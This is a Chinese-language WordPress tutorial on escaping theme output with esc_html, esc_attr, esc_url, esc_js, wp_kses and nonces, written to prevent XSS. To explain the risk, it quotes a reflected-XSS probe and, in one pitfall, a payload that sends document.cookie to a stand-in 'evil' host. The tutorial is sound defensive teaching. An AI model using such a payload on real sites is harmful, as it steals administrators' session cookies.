搜索全站
主题 17 分钟阅读

主题输出转义规范:esc_html / esc_attr / esc_url 怎么用

esc_html、esc_attr、esc_url、esc_js、wp_kses_post 各自适用什么位置?讲清"过滤输入、转义输出"原则、延迟转义习惯,以及常见 XSS 漏洞的真实成因。

U
UFO_PF 2023-02-09 · 阅读 17 分钟
主题 主题
阅读提示
本文约 6,570 字,预计阅读 17 分钟。文中命令与配置均经过实测,可直接参考执行。

引言:搜索框里输入一段脚本,页面就弹窗了

有人在搜索框里输入 "><script>alert(1)</script>,搜索结果页直接弹窗;换个 payload 就能读取 Cookie 或构造钓鱼跳转。再看主题代码,search.php 里写的是 echo '你搜索了:' . $_GET['s'];——原样输出用户输入,等于把 XSS 大门敞开。

WordPress 提供了一整套转义函数,但很多人要么不用,要么用错(在属性位置用了 esc_html)。转义不是”加一层保险”,而是”在正确的位置用正确的函数”。

原理分析:过滤输入,转义输出

安全圈的老话是 Filter input, escape output,两件事在不同时机做:

类别 时机 代表函数 作用
校验(validate) 输入时 is_email()、absint() 不合法就拒绝
清理(sanitize) 存库前 sanitize_text_field()、wp_kses_post() 去掉危险内容后保存
转义(escape) 输出前 esc_html()、esc_attr()、esc_url() 让浏览器把它当文本而非标记

转义只发生在输出的最后一刻,因为:

  1. 数据可能被多处使用,不同位置需要不同转义;
  2. 提前转义再存库,会存进一堆 &amp;,下次编辑显示错乱(”双重转义”);
  3. 换行符、引号在不同上下文里含义不同。

各函数对应的上下文:

函数 适用位置 内部做了什么
esc_html() HTML 文本内容 htmlspecialchars 类转换:< > & " '
esc_attr() HTML 属性内部 同左,另加 __checked_selected_helper 的辅助
esc_url() href / src 等 URL 属性 协议白名单校验 + htmlspecialchars
esc_js() 内联 JS 字符串 转义引号与换行
esc_textarea() <textarea> 内容 供文本域使用
wp_kses_post() 允许有限 HTML 的富文本 按文章级别白名单过滤标签
wp_json_encode() JS 数据结构 输出合法 JSON
esc_xml() XML 输出 sitemap 等场景

最容易被忽略的是 esc_url() 的协议白名单:javascript:、data:(部分)会被直接剔除,返回空字符串。这也是为什么手写 <a href=" 必须用它。

保姆级实操

第 1 步:文本位置用 esc_html

<h1 class="entry-title"><?php echo esc_html( get_the_title() ); ?></h1>

<div class="search-result-hint">
    <?php
    printf(
        esc_html__( '“%s” 的搜索结果', 'mimangfei' ),
        esc_html( get_search_query() )
    );
    ?>
</div>

注意 printf 的用法:esc_html__() 只转义模板字符串本身,动态参数要单独 esc_html()。

第 2 步:属性位置用 esc_attr,URL 位置用 esc_url

<a class="more-link"
   href="<?php echo esc_url( get_permalink() ); ?>"
   title="<?php echo esc_attr( get_the_title() ); ?>"
   data-id="<?php echo esc_attr( (string) get_the_ID() ); ?>">
    <?php echo esc_html( get_the_title() ); ?>
</a>

<img src="<?php echo esc_url( $src ); ?>"
     alt="<?php echo esc_attr( $alt ); ?>"
     width="<?php echo esc_attr( (string) $w ); ?>"
     height="<?php echo esc_attr( (string) $h ); ?>">

数字虽然理论上安全,但统一加 esc_attr() 能防止”上游返回了非数字”的意外;更严格的做法是先 (int) 再输出。

第 3 步:需要保留 HTML 时用 wp_kses

// 分类描述、文章摘要里允许 <a> <em> <strong>
echo wp_kses_post( category_description() );

// 更严格:只保留 <a>,并限定 href/title 两个属性
echo wp_kses(
    $custom_field_value,
    array(
        'a' => array(
            'href'  => true,
            'title' => true,
            'rel'   => true,
        ),
        'br' => array(),
    )
);

wp_kses_post() 用的是”文章内容级”白名单,允许 <a href title>、<img src alt>、<blockquote>、<h2> 等,但不含 <script>、<iframe>、<style>、事件属性(onclick 等)。需要放宽时用 wp_kses_allowed_html 过滤器,但能不放就不放。它最常见的落地位置是分类描述,写法见分类模板 category-slug.php 用法。

第 4 步:内联 JS 用 esc_js 或 wp_json_encode

// 简单字符串
add_action( 'wp_footer', function () {
    $msg = get_theme_mod( 'mmf_popup_text', '' );
    if ( ! $msg ) {
        return;
    }
    echo '<script>var mmfMsg = "' . esc_js( $msg ) . '";</script>';
} );

// 结构化数据:一律用 wp_json_encode
add_action( 'wp_head', function () {
    $config = array(
        'ajaxUrl' => admin_url( 'admin-ajax.php' ),
        'nonce'   => wp_create_nonce( 'mmf_ajax' ),
        'labels'  => array(
            'loading' => __( '加载中…', 'mimangfei' ),
            'error'   => __( '请求失败,请重试', 'mimangfei' ),
        ),
    );
    echo '<script>var MMF = ' . wp_json_encode( $config ) . ';</script>';
} );

wp_json_encode() 默认会转义 / 与 Unicode,输出可安全嵌入 <script>;复杂配置不要手拼字符串。更完整的脚本注册与数据注入流程见wp_enqueue_script 正确加载 CSS 与 JS。

第 5 步:表单与 nonce 配合

转义只防输出,防不了 CSRF。表单里必须带 nonce:

<form method="post" action="<?php echo esc_url( admin_url( 'admin-post.php' ) ); ?>">
    <?php wp_nonce_field( 'mmf_subscribe', 'mmf_subscribe_nonce' ); ?>
    <input type="hidden" name="action" value="mmf_subscribe">
    <input type="email" name="email" value="<?php echo esc_attr( $saved_email ?? '' ); ?>" required>
    <button type="submit"><?php esc_html_e( '订阅', 'mimangfei' ); ?></button>
</form>

处理侧:

add_action( 'admin_post_nopriv_mmf_subscribe', function () {
    if ( ! isset( $_POST['mmf_subscribe_nonce'] )
        || ! wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['mmf_subscribe_nonce'] ) ), 'mmf_subscribe' ) ) {
        wp_die( esc_html__( '请求校验失败。', 'mimangfei' ), 403 );
    }

    $email = isset( $_POST['email'] ) ? sanitize_email( wp_unslash( $_POST['email'] ) ) : '';
    if ( ! is_email( $email ) ) {
        wp_safe_redirect( add_query_arg( 'mmf_err', 'email', wp_get_referer() ) );
        exit;
    }
    // …保存逻辑
} );

wp_unslash() 处理 WordPress 对 $_POST 的自动转义,sanitize_* 在存库前完成,两者顺序不能颠倒。

第 6 步:用自动化工具扫一遍

# 安装 WordPress 编码规范的 PHP_CodeSniffer 规则集
composer require --dev wp-coding-standards/wpcs
phpcs --standard=WordPress --sniffs=WordPress.Security.EscapeOutput wp-content/themes/my-theme

WordPress.Security.EscapeOutput 会标出所有 echo 未转义的位置,是主题上线前必跑的一道检查。除此之外,模板里最容易漏掉转义的两个位置都集中在头部与尾部,参见wp_head 与 wp_footer 的作用。

常见踩坑

  1. 在属性里用 esc_html。 它不转义 @ 等特殊场景虽影响小,但语义错误;正确做法是属性一律 esc_attr。
  2. 双重转义。 echo esc_html( esc_html( $x ) ) 或”存库前先 esc_html 一遍”,页面显示 &amp;lt;,用户编辑时看到一堆实体字符。
  3. 转义了但用了 esc_html 输出 URL。 应该 esc_url(),否则 javascript: 协议不会被过滤。
  4. esc_url() 返回空。 传入带空格或非法协议的 URL 时会返回空字符串,<a href=""> 变成当前页;输出前先判断:
$url = get_post_meta( get_the_ID(), '_source_url', true );
if ( $url && esc_url( $url ) ) {
    printf( '<a href="%s" rel="nofollow noopener" target="_blank">%s</a>', esc_url( $url ), esc_html__( '原文链接', 'mimangfei' ) );
}
  1. 忘记 wp_unslash()。 $_POST 数据被 WordPress 自动加了斜杠,直接存库会出现 It\'s,应先 wp_unslash() 再 sanitize_*()。
  2. 案例: 某主题的搜索结果页写的是 echo '关键词:' . $_GET['s'];。安全扫描报出反射型 XSS,攻击载荷 "><script>fetch('//evil/?c='+document.cookie)</script> 可通过构造链接直接窃取登录态管理员的 Cookie。修复不是”加个 strip_tags”,而是按规范改成 echo esc_html( get_search_query() );——get_search_query() 内部已做清理,再加 esc_html() 完成输出转义,两层缺一不可。
  3. wp_kses_post() 用在超长内容上拖慢页面。 它是逐标签解析,对整篇文章输出做过滤会明显增加 CPU 开销;文章内容在存库时就已经过滤过了,前台直接 the_content() 即可,不要”再 ksess 一遍”。

总结

记住两个原则就够:数据在哪输出,就在哪按那个位置的上下文转义;转义永远放在最后一刻,不提前、不重复。 具体映射:文本 → esc_html(),属性 → esc_attr(),URL → esc_url(),JS 字符串 → esc_js(),结构化数据 → wp_json_encode(),需要保留富文本 → wp_kses_post()。上线前用 phpcs --standard=WordPress --sniffs=WordPress.Security.EscapeOutput 跑一遍,把”漏转义”从人眼检查变成机器检查。安全不是靠记住某个函数,而是靠这套”位置 → 函数”的稳定习惯。

U
UFO_PF作者

专注 WordPress 生态的实战作者,内容以「可复制、可验证」为第一原则。

留下你的想法

邮箱地址不会被公开。带 * 的为必填项。